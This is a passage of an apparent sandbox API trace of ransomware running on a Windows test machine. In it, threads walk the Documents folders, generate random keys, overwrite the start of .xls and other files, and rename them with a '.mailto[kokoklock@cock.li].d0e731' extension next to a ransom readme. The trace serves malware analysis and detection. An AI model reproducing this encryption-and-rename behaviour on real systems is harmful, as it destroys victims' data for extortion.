returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0077.670] wcscat (in: _Dest=0x33e6678, _Source="nT4HaaoBgdXFpB jlB.doc" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc" [0077.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0077.670] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0dabda0, ftCreationTime.dwHighDateTime=0x1d4c7ca, ftLastAccessTime.dwLowDateTime=0x31a91c70, ftLastAccessTime.dwHighDateTime=0x1d4d29a, ftLastWriteTime.dwLowDateTime=0x31a91c70, ftLastWriteTime.dwHighDateTime=0x1d4d29a, nFileSizeHigh=0x0, nFileSizeLow=0x78d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="tOE4lA1.docx", cAlternateFileName="TOE4LA~1.DOC")) returned 1 [0077.670] wcscmp (_String1="tOE4lA1.docx", _String2=".") returned 1 [0077.670] wcscmp (_String1="tOE4lA1.docx", _String2="..") returned 1 [0077.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e3020 [0077.670] wcscpy (in: _Dest=0x33e3020, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0077.671] wcscat (in: _Dest=0x33e3020, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0077.671] wcscat (in: _Dest=0x33e3020, _Source="tOE4lA1.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx" [0077.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0077.671] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe576abd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xe9b10be0, ftLastAccessTime.dwHighDateTime=0x1d4c712, ftLastWriteTime.dwLowDateTime=0xe9b10be0, ftLastWriteTime.dwHighDateTime=0x1d4c712, nFileSizeHigh=0x0, nFileSizeLow=0x13a31, dwReserved0=0x0, dwReserved1=0x0, cFileName="zDWwEnfQiUihLl0zG-MZ.rtf", cAlternateFileName="ZDWWEN~1.RTF")) returned 1 [0077.671] wcscmp (_String1="zDWwEnfQiUihLl0zG-MZ.rtf", _String2=".") returned 1 [0077.671] wcscmp (_String1="zDWwEnfQiUihLl0zG-MZ.rtf", _String2="..") returned 1 [0077.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6918 [0077.671] wcscpy (in: _Dest=0x33e6918, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0077.671] wcscat (in: _Dest=0x33e6918, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0077.671] wcscat (in: _Dest=0x33e6918, _Source="zDWwEnfQiUihLl0zG-MZ.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf" [0077.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0077.672] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe576abd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xe9b10be0, ftLastAccessTime.dwHighDateTime=0x1d4c712, ftLastWriteTime.dwLowDateTime=0xe9b10be0, ftLastWriteTime.dwHighDateTime=0x1d4c712, nFileSizeHigh=0x0, nFileSizeLow=0x13a31, dwReserved0=0x0, dwReserved1=0x0, cFileName="zDWwEnfQiUihLl0zG-MZ.rtf", cAlternateFileName="ZDWWEN~1.RTF")) returned 0 [0077.672] FindClose (in: hFindFile=0x34346a8 | out: hFindFile=0x34346a8) returned 1 [0077.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6530) returned 1 [0077.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0077.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0077.672] RtlExitUserThread (Status=0x0) Thread: id = 777 os_tid = 0x12ac [0075.749] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls")) returned 0x20 [0075.749] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls", dwFileAttributes=0x20) returned 1 [0075.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.749] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d23fc5c | out: lpFileSize=0x1d23fc5c*=55908) returned 1 [0075.749] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xda60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.749] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d23fc30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d23fc2c, lpOverlapped=0x0 | out: lpBuffer=0x1d23fc30*, lpNumberOfBytesRead=0x1d23fc2c*=0x4, lpOverlapped=0x0) returned 1 [0075.750] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797f0 [0075.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0075.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479778 [0075.750] NtQuerySystemTime (in: CurrentTime=0x1d23fc08 | out: CurrentTime=0x1d23fc08*=132121176336440554) returned 0x0 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xcc79602e [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x1626c80d [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xe60f93c4 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xdd1c85e3 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x290760b8 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xe201627c [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x4e2ac011 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x25ef9a9d [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x39af8b7 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xbf7ebdc0 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xad008b11 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x6e7806dd [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xe3e7e65c [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xcf80ad3d [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x21822232 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x9e8e8774 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xb7798cd2 [0075.750] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x23a9d981 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x8ffeef70 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xe03032eb [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x5dddbee9 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x6e26175a [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x1941ff78 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x40a6f399 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xb810e9f2 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x7e5ed989 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x688a7d4c [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x51f3765b [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x7b44c36d [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xc4495a1e [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0xe3cc0cb6 [0075.751] RtlRandom (in: Seed=0x1d23fc14 | out: Seed=0x1d23fc14) returned 0x86feb912 [0075.762] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.762] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d23fbe0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d23fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0075.762] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797f0 [0075.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797f0) returned 1 [0075.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797f0 [0075.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788a0 [0075.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788a0) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.763] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d23fbe0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d23fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.763] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xda64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.763] WriteFile (in: hFile=0x9e8, lpBuffer=0x34797f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d23fc18, lpOverlapped=0x0 | out: lpBuffer=0x34797f0*, lpNumberOfBytesWritten=0x1d23fc18*=0x20, lpOverlapped=0x0) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797f0) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.763] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d23fc2c, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d23fc2c*=0x8, lpOverlapped=0x0) returned 1 [0075.764] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d23fc44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d23fc2c, lpOverlapped=0x0 | out: lpBuffer=0x1d23fc44*, lpNumberOfBytesWritten=0x1d23fc2c*=0x4, lpOverlapped=0x0) returned 1 [0075.764] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d23fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d23fc2c*=0x4, lpOverlapped=0x0) returned 1 [0075.764] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d23fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d23fc2c*=0x6c, lpOverlapped=0x0) returned 1 [0075.764] WriteFile (in: hFile=0x9e8, lpBuffer=0x3479818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d23fc2c, lpOverlapped=0x0 | out: lpBuffer=0x3479818*, lpNumberOfBytesWritten=0x1d23fc2c*=0x20, lpOverlapped=0x0) returned 1 [0075.764] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d23fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d23fc2c*=0x4, lpOverlapped=0x0) returned 1 [0075.764] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0075.764] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797c8) returned 1 [0075.764] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.764] CloseHandle (hObject=0x9e8) returned 1 [0075.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x34323c0 [0075.764] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls" [0075.764] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" [0075.764] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.765] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0075.765] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls", dwFileAttributes=0x20) returned 0 [0075.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0075.765] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0075.765] wcscat (in: _Dest=0x347bca0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0075.765] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0075.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0075.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd070) returned 1 [0075.766] RtlExitUserThread (Status=0x1) Thread: id = 778 os_tid = 0x1090 [0075.767] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls")) returned 0x20 [0075.767] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls", dwFileAttributes=0x20) returned 1 [0075.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.767] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d2bf960 | out: lpFileSize=0x1d2bf960*=22420) returned 1 [0075.767] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x5790, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.767] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d2bf934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d2bf930, lpOverlapped=0x0 | out: lpBuffer=0x1d2bf934*, lpNumberOfBytesRead=0x1d2bf930*=0x4, lpOverlapped=0x0) returned 1 [0075.768] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478cb0 [0075.768] NtQuerySystemTime (in: CurrentTime=0x1d2bf90c | out: CurrentTime=0x1d2bf90c*=132121176336596815) returned 0x0 [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x78e13c4 [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xbdab8aa0 [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x84bee00a [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x97ee6c4c [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xed0725f6 [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xadfd9454 [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xa9a33c6d [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xc27afbd [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x17cdf6c [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x320149d2 [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x26ac5bb1 [0075.768] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x95e97e9f [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xcf18f118 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xdde118fb [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xa1ce1315 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xc055718d [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xae24aff3 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xabdc1286 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x83e2b6ca [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xd628156a [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xcf185ac8 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x51df65fc [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x37d10194 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xd0e0a4f6 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x23a2c198 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xa50c8e9c [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xcb84c7db [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0xc312a6a6 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x8aad70a [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x1d808aae [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x173a7849 [0075.769] RtlRandom (in: Seed=0x1d2bf918 | out: Seed=0x1d2bf918) returned 0x5addd401 [0075.780] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.780] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d2bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d2bf8e4*=0x4096, lpOverlapped=0x0) returned 1 [0075.781] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0075.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0075.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d50 [0075.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788a0 [0075.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788a0) returned 1 [0075.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d2bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d2bf8e4*=0x4096, lpOverlapped=0x0) returned 1 [0075.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.782] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x5794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478d50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d2bf91c, lpOverlapped=0x0 | out: lpBuffer=0x3478d50*, lpNumberOfBytesWritten=0x1d2bf91c*=0x20, lpOverlapped=0x0) returned 1 [0075.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d50) returned 1 [0075.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, 